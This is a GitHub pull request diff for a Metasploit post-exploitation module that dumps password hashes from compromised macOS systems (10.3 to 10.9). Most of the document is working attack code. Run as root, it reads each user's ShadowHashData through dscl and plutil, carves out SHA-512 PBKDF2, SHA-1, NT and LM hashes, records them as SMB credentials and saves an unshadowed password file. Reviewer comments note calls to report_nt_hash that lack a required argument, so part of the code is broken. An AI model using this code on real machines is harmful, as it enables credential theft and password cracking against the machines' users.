Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refactor OSX hashdump post module and add support for 10.8+ hashes #2735

Merged
merged 8 commits into from
Dec 10, 2013
Merged
348 changes: 173 additions & 175 deletions modules/post/osx/gather/hashdump.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,11 @@
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'

require 'rexml/document'

class Metasploit3 < Msf::Post
# set of accounts to ignore while pilfering data
OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]

include Msf::Post::File
include Msf::Auxiliary::Report
Expand All @@ -17,48 +19,157 @@ def initialize(info={})
super( update_info( info,
'Name' => 'OS X Gather Mac OS X Password Hash Collector',
'Description' => %q{
This module dumps SHA-1, LM and NT Hashes of Mac OS X Tiger, Leopard, Snow Leopard and Lion Systems.
This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports
versions 10.3 to 10.9.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>','hammackj <jacob.hammack[at]hammackj.com>'],
'Author' => [
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'hammackj <jacob.hammack[at]hammackj.com>',
'joev'
],
'Platform' => [ 'osx' ],
'SessionTypes' => [ "shell" ]
'SessionTypes' => [ 'shell' ]
))

register_options([
OptRegexp.new('MATCHUSER', [false,
'Only attempt to grab hashes for users whose name matches this regex'
])
])
end

# Run Method for when run command is issued
def run
case session.type
when /meterpreter/
host = session.sys.config.sysinfo["Computer"]
when /shell/
host = session.shell_command_token("hostname").chomp
end
print_status("Running module against #{host}")
running_root = check_root
if running_root
print_status("This session is running as root!")
fail_with("Insufficient Privileges: must be running as root to dump the hashes") unless root?

# build a single hash_file containing all users' hashes
hash_file = ''

# iterate over all users
users.each do |user|
next if datastore['MATCHUSER'].present? and datastore['MATCHUSER'] !~ user
print_status "Attempting to grab shadow for user #{user}..."
if gt_lion? # 10.8+
# pull the shadow from dscl
shadow_bytes = grab_shadow_blob(user)
next if shadow_bytes.blank?

# on 10.8+ ShadowHashData stores a binary plist inside of the user.plist
# Here we pull out the binary plist bytes and use built-in plutil to convert to xml
plist_bytes = shadow_bytes.split('').each_slice(2).map{|s| "\\x#{s[0]}#{s[1]}"}.join

# encode the bytes as \x hex string, print using bash's echo, and pass to plutil
shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")

# read the plaintext xml
shadow_xml = REXML::Document.new(shadow_plist)

# parse out the different parts of sha512pbkdf2
dict = shadow_xml.elements[1].elements[1].elements[2]
entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')
iterations = dict.elements[4].text.gsub(/\s+/, '')
salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')

# PBKDF2 stored in <user, iterations, salt, entropy> format
decoded_hash = "#{user}:$ml$#{iterations}$#{salt}$#{entropy}"
print_good "SHA512:#{decoded_hash}"
hash_file << decoded_hash
elsif lion? # 10.7
# pull the shadow from dscl
shadow_bytes = grab_shadow_blob(user)
next if shadow_bytes.blank?

# on 10.7 the ShadowHashData is stored in plaintext
hash_decoded = shadow_bytes.upcase

# Check if NT HASH is present
if hash_decoded =~ /4F1010/
report_nt_hash(hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I miss a second argument for report_nt_hash

end

# slice out the sha512 hash + salt
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]
print_status("SHA512:#{user}:#{sha512}")
hash_file << "#{user}:#{sha512}\n"
else # 10.6 and below
# On 10.6 and below, SHA-1 is used for encryption
guid = if gte_leopard?
cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
elsif lte_tiger?
cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
end

# Extract the hashes
sha1_hash = read_file("/var/db/shadow/hash/#{guid} | cut -c169-216").chomp
nt_hash = read_file("/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = read_file("/var/db/shadow/hash/#{guid} | cut -c33-64").chomp

# Check that we have the hashes and save them
if sha1_hash !~ /0000000000000000000000000/
print_status("SHA1:#{user}:#{sha1_hash}")
hash_file << "#{user}:#{sha1_hash}"
end
if nt_hash !~ /000000000000000/
report_nt_hash(nt_hash)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I miss a second argument for report_nt_hash

end
if lm_hash !~ /0000000000000/
print_status("LM:#{user}:#{lm_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "#{lm_hash}:",
:active => true
)
end
end
end
ver_num = get_ver
if running_root
dump_hash(ver_num)
# Save pwd file
upassf = if gt_lion?
store_loot("osx.hashes.sha512pbkdf2", "text/plain", session, hash_file,
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-512PBKDF2 Password File")
elsif lion?
store_loot("osx.hashes.sha512", "text/plain", session, hash_file,
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-512 Password File")
else
print_error("Insufficient Privileges you must be running as root to dump the hashes")
store_loot("osx.hashes.sha1", "text/plain", session, hash_file,
"unshadowed_passwd.pwd", "OSX Unshadowed SHA-1 Password File")
end
print_good("Unshadowed Password File: #{upassf}")
end

#parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
private

require "rexml/document"
# @return [Bool] system version is at least 10.5
def gte_leopard?
ver_num =~ /10\.(\d+)/ and $1.to_i >= 5
end

# @return [Bool] system version is at least 10.8
def gt_lion?
ver_num =~ /10\.(\d+)/ and $1.to_i >= 8
end

# @return [String] hostname
def host; session.session_host; end

# @return [Bool] system version is 10.7
def lion?
ver_num =~ /10\.(\d+)/ and $1.to_i == 7
end

# @return [Bool] system version is 10.4 or lower
def lte_tiger?
ver_num =~ /10\.(\d+)/ and $1.to_i <= 4
end

# parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
doc = REXML::Document.new(plist_content)
keys = []

doc.elements.each("plist/dict/key") do |element|
keys << element.text
end
doc.elements.each("plist/dict/key") { |n| keys << n.text }

fields = {}
i = 0
Expand All @@ -78,161 +189,48 @@ def read_ds_xml_plist(plist_content)
return fields
end

# Checks if running as root on the target
def check_root
# Get only the account ID
id = cmd_exec("/usr/bin/id","-ru").chomp

if id == "0"
return true
else
return false
end
# reports the NT hash info to metasploit backend
def report_nt_hash(nt_hash, user)
return unless nt_hash.present?
print_status("NT:#{user}:#{nt_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true
)
end


# Enumerate the OS Version
def get_ver
# Get the OS Version
osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp

return osx_ver_num
# Checks if running as root on the target
# @return [Bool] current user is root
def root?
whoami == 'root'
end

# Dump SHA1 Hashes used by OSX, must be root to get the Hashes
def dump_hash(ver_num)
print_status("Dumping Hashes")
users = []
nt_hash = nil
host = session.session_host

# Path to files with hashes
sha1_file = ""

# Check if system is Lion if not continue
if ver_num =~ /10\.(7)/

hash_decoded = ""

# get list of profiles present in the box
profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n")

if profiles
profiles.each do |p|
# Skip none user profiles
next if p =~ /^_/
next if p =~ /^daemon|root|nobody/

# Turn profile plist in to XML format
cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}")
file = cmd_exec("cat","/tmp/#{p.chomp}")

# Clean up using secure delete overwriting and zeroing blocks
cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}")

# Process XML Plist into a usable hash
plist_values = read_ds_xml_plist(file)

# Extract the shadow hash data, decode it and format it
plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b|
hash_decoded << sprintf("%02X", b)
end
user = plist_values['name'].join("")

# Check if NT HASH is present
if hash_decoded =~ /4F1010/
nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0]
end

# Carve out the SHA512 Hash, the first 4 bytes is the salt
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]

print_status("SHA512:#{user}:#{sha512}")
sha1_file << "#{user}:#{sha512}\n"

# Reset hash value
sha512 = ""

if nt_hash
print_status("NT:#{user}:#{nt_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true
)

# Reset hash value
nt_hash = nil
end
# Reset hash value
hash_decoded = ""
end
end
# Save pwd file
upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File")
print_good("Unshadowed Password File: #{upassf}")

# If system was lion and it was processed nothing more to do
return
end

users_folder = cmd_exec("/bin/ls","/Users")

users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
# Process each user
users.each do |user|
if ver_num =~ /10\.(6|5)/
guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
elsif ver_num =~ /10\.(4|3)/
guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
end
# @return [String] containing blob for ShadowHashData in user's plist
# @return [nil] if shadow is invalid
def grab_shadow_blob(user)
shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')
return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'
# strip the other bytes
shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')
end

# Extract the hashes
sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp
nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp
# @return [Array<String>] list of user names
def users
@users ||= cmd_exec("/bin/ls /Users").each_line.collect.map(&:chomp) - OSX_IGNORE_ACCOUNTS
end

# Check that we have the hashes and save them
if sha1_hash !~ /00000000000000000000000000000000/
print_status("SHA1:#{user}:#{sha1_hash}")
sha1_file << "#{user}:#{sha1_hash}"
end
# @return [String] version string (e.g. 10.8.5)
def ver_num
@version ||= cmd_exec("/usr/bin/sw_vers -productVersion").chomp
end

if nt_hash !~ /000000000000000/
print_status("NT:#{user}:#{nt_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true
)
end
if lm_hash !~ /0000000000000/
print_status("LM:#{user}:#{lm_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "#{lm_hash}:",
:active => true
)
end
end
# Save pwd file
upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File")
print_good("Unshadowed Password File: #{upassf}")
# @return [String] name of current user
def whoami
@whoami ||= cmd_exec('/usr/bin/whoami').chomp
end
end